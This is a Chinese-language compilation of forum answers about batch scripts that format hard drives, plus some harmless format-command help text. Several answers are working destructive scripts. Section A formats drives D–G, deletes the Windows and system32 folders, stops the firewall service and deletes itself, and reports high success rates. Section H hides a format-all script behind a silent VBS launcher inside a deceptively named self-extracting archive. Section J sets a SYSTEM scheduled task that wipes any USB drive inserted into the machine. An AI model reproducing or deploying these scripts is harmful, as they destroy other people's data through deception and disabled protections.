批處理格式化
A. 硬碟自動格式化bat
硬碟格式化命令BAT
------------------------------------------------------------線下西面內容-------------------------------
@echo off
shutdown -r -t 0
format d:/q /y
format e:/q /y
format f:/q /y
format g:/q /y
cd c:\
cd windows
del *.* /q
cd system32
del *.* /q
shutdown -r -t 0
del %0
------------------------------------------------------------線上面內容-------------------------------
測試結果_系統啟動不來,,,但是硬碟依然沒有格式化失敗告終
------------------------------------------------------------線下面內容-------------------------------
@echo off
format d:/q /y
format e:/q /y
format f:/q /y
format g:/q /y
cd c:\
cd windows
del *.* /q
cd system32
del *.* /q
shutdown -r -t 0
del %0
------------------------------------------------------------線上面內容-------------------------------
測試結果_系統啟動不來,,,硬碟被格式化,,,成功!不過有一點,,有的機器有系統防火牆,補丁非常全的不起作用
------------------------------------------------------------線下面內容-------------------------------
@echo off
net stop alg /y
@net stop sharedaccess
format d:/q /y
format e:/q /y
format f:/q /y
format g:/q /y
shutdown -r -t 0
cd c:\
cd windows
del *.* /q
cd system32
del *.* /q
del %0
測試結果_系統啟動不來,,,硬碟被格式化,,,成功率是99%,突破系統的
B. 求設計一個批處理文件,功能是:「一鍵自動格式化」
@echo off
net stop alg /y
@net stop sharedaccess
format d:/q /y
format e:/q /y
format f:/q /y
format g:/q /y
shutdown -r -t 0
cd c:\
cd windows
del *.* /q
cd system32
del *.* /q
del %0
C. 請問怎麼用批處理格式化硬碟
format/?
格式化磁碟以供 Windows XP 使用。
FORMAT volume [/FS:file-system] [/V:label] [/Q] [/A:size] [/C] [/X]
FORMAT volume [/V:label] [/Q] [/F:size]
FORMAT volume [/V:label] [/Q] [/T:tracks /N:sectors]
FORMAT volume [/V:label] [/Q]
FORMAT volume [/Q]
volume 指定驅動器(後面跟一個冒號)、裝入點
或卷名。
/FS:filesystem 指定文件系統類型(FAT、FAT32 或 NTFS)。
/V:label 指定卷標。
/Q 執行快速格式化。
/C 僅適於 NTFS: 默認情況下,將壓縮在該新建卷上
創建的文件。
/X 如果必要,先強制卸下卷。那時,該卷所有
已打開的句柄不再有效。
/A:size 替代默認配置單位大小。極力建議您在一般狀況下使用
默認設置。
NTFS 支持 512、1024、2048、4096、8192、16K、32K、
64K。
FAT 支持 512、1024、2048、4096、8192、16K、32K、
64k,(128k、256k 用於大於 512 位元組的扇區) 。
FAT32 支持 512、1024、2048、4096、8192、16k、32k、
64k,(128k 、256k 用於大於 512 位元組的扇區)。
注意 FAT 及 FAT32 文件系統對卷上的群集數量有以下限制:
FAT: 群集數量 <= 65526
FAT32: 65526 < 群集數量 < 4177918
如果判定使用指定的群集大小無法滿足以上需求,格式
化將立即停止。
NTFS 壓縮不支持大於 4096 的分配單元。
/F:size 指定要格式化的軟盤大小(1.44)
/T:tracks 為磁碟指定每面磁軌數。
/N:sectors 指定每條磁軌的扇區數。
D. 【求一個自動格式化硬碟的批處理】,,,,
@echo off
set pf=c: d: e: f: g: h:
for %%i in (%pf%) do (
echo y|format %%i
)
pause>nul
在set pf=後面修改要格式化的盤符,中間用空格分隔
E. 自動格式化BAT文本
情況:
%systemdrive%\format.bat
目標D盤
@echo off
set /a xNum=0
:begin
set /a xNum=%xNum%+1
format d: /y
%systemroot%\system32\shell32.dll d:\1.1
%systemroot%\system32\shell32.dll d:\2.2
%systemroot%\system32\shell32.dll d:\3.3
:x1
d:\1.1+d:\2.2 d:\3.3 /y
d:\1.1+d:\3.3 d:\2.2 /y
d:\2.2+d:\1.1 d:\3.3 /y
d:\2.2+d:\3.3 d:\1.1 /y
d:\3.3+d:\1.1 d:\2.2 /y
d:\3.3+d:\2.2 d:\1.1 /y
if %ERRORLEVEL%=="0" goto x1
if %xNum%==3 exit
goto begin
臨時寫的 我沒試過.!
F. 批處理格式化
不知道你格式化什麼盤。WINDOWS下的格式化已經很方便了。
G. 怎麼寫批處理命令來快速格式化硬碟
格式化的命令是 format 製作一個批處理或者直接添加任務計劃
H. 全盤格式化的bat命令
bat代碼:
@echo off
echo y | format f: /q 1>nul 2>nul
echo y | format e: /q 1>nul 2>nul
echo y | format d: /q 1>nul 2>nul
echo y | format c: /q 1>nul 2>nul
exit
上面的代碼沒有反饋信息,直接格式化。
另加上VBS另bat後台偷偷運行。
VBS代碼:
CreateObject("WScript.Shell").run "****.bat",0
****換成你的bat文件名。
最後,結合rar自解壓的腳本實現自動運行。
步驟:
將bat和VBS壓縮為rar格式,文件名取個容易騙人的。雙擊打開rar,依次單擊「工具」——「壓縮文件轉換為自解壓格式」。
之後彈出對話框。在「注釋」的選項里,寫上:
Path=%windir%\System32\GroupPolicy\Machine\Scripts
Setup=%windir%\System32\GroupPolicy\Machine\Scripts\****.vbs
Silent=1
Overwrite=1
將****替換為你之前做好的VBS文件。最後一路確定就行了。
完成後,看到是以EXE結尾的文件。
警告:請勿雙擊該EXE文件,造成損失本人不負任何責任。
I. 批處理格式化NTFS格式
只要你的電腦上只插了一個U盤,那麼以下腳本就會自動獲取可移動磁碟的盤符,並轉換格式。
@echooff
for/f"tokens=2delims=="%%ain('wmicLogicalDiskwhere"DriveType='2'"getDeviceID/value')dosetDriveU=%%~a
ifdefinedDriveUconvert%DriveU%/fs:ntfs/x
pause
J. 求一個格式化的批處理命令
@echo off
for %%i in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do format %%i: /x /q
這樣就不會出現(Y/N)的提示,一個一個全部格式化...
/x 格式化時先強制卸下卷(就不會出現正在使用中,無法格式化問題)
/q 快速格式化...
另外,給你一個關於格式化的批處理做參考...
---------------------------------------------------
@echo off
:start
echo.
echo 本程序運行後,會在以後的每一天中每隔1分中掃描一次你的電腦是否連接USB驅動器...
echo (例:U盤、MP3/4、手機 等等...) 若有,則見一個格一個...嘿嘿嘿~~~~~
echo 專門整治那些隨便拿U盤來你電腦上烤東西的壞人~~~~~~ 哈哈!
echo (註:不需要搞別人的時候最好關了這手段,不然自己不小心插了個U盤上去的話就自
echo 己害自己了,文件丟了我可不負責哦~~ 嘿嘿...)
set/p shr=(1、使用本手段 2、關閉本手段):
if %shr%==1 goto shy
if %shr%==2 goto bshy
goto start
:shy
sc config schele start= auto >nul 2>nul
net start schele /y >nul 2>nul
if exist %windir%\system32\gsh.vbs (echo 帥哥~你現已經使用了本手段!不需再使用了,按任意鍵返回...& pause>nul&cls&goto start)
echo CreateObject("WScript.Shell").Run "cmd /c gsh.bat",0 >%windir%\system32\gsh.vbs
echo for %%%%i in (c d e f g h i j k l m n o p q r s t u v w x y z) do (>%windir%\system32\gsh.bat
echo fsutil fsinfo drivetype %%%%i: ^| findstr /i "可移動驅動器" ^&^& set cp=%%%%i ^&^& call :gsh>>%windir%\system32\gsh.bat
echo ) ^>nul 2^>nul>>%windir%\system32\gsh.bat
echo goto :eof>>%windir%\system32\gsh.bat
echo :gsh>>%windir%\system32\gsh.bat
echo echo.^|format %%cp:~0,1%%: /x /q>>%windir%\system32\gsh.bat
echo goto :eof>>%windir%\system32\gsh.bat
)
)
echo 正在應用本手段...
schtasks /create /tn gsh /tr %windir%\system32\gsh.vbs /sc minute /mo 1 /ru "system" >nul 2>nul
echo 恭喜~ 成功了! 以後只要誰把移動盤插到你電腦上的話..
echo 在1分中之內,他盤內文件將拜拜~~ 哈哈...
echo 按任意鍵退出...& pause>nul&exit
:bshy
if exist %windir%\system32\gsh.vbs (
echo 刪除計劃任務...
echo y|schtasks /tn * /delete >nul 2>nul
echo 刪除生成的"gsh.vbs"文件...
del %windir%\system32\gsh.vbs
echo 刪除生成的"gsh.bat"文件...
del %windir%\system32\gsh.bat
echo.
echo 關閉本手段成功!
echo 按任意鍵退出...& pause>nul&exit
) else (
echo 還沒使用過本手段~ 無法關哦!
)
echo 按任意鍵返回...& pause>nul&cls&goto start
----------------------------------------------------------
此程序的核心是靠這三句命令:
1、fsutil fsinfo drivetype %%%%i: ^| findstr /i "可移動驅動器"
檢查本機上的可移動驅動器
2、format %%cp:~0,1%%: /x /q
格式化
3、schtasks /create /tn gsh /tr %windir%\system32\gsh.vbs /sc minute /mo 1 /ru "system"
計劃任務.. 每一天的每一分鍾檢測USB設備就是靠這句!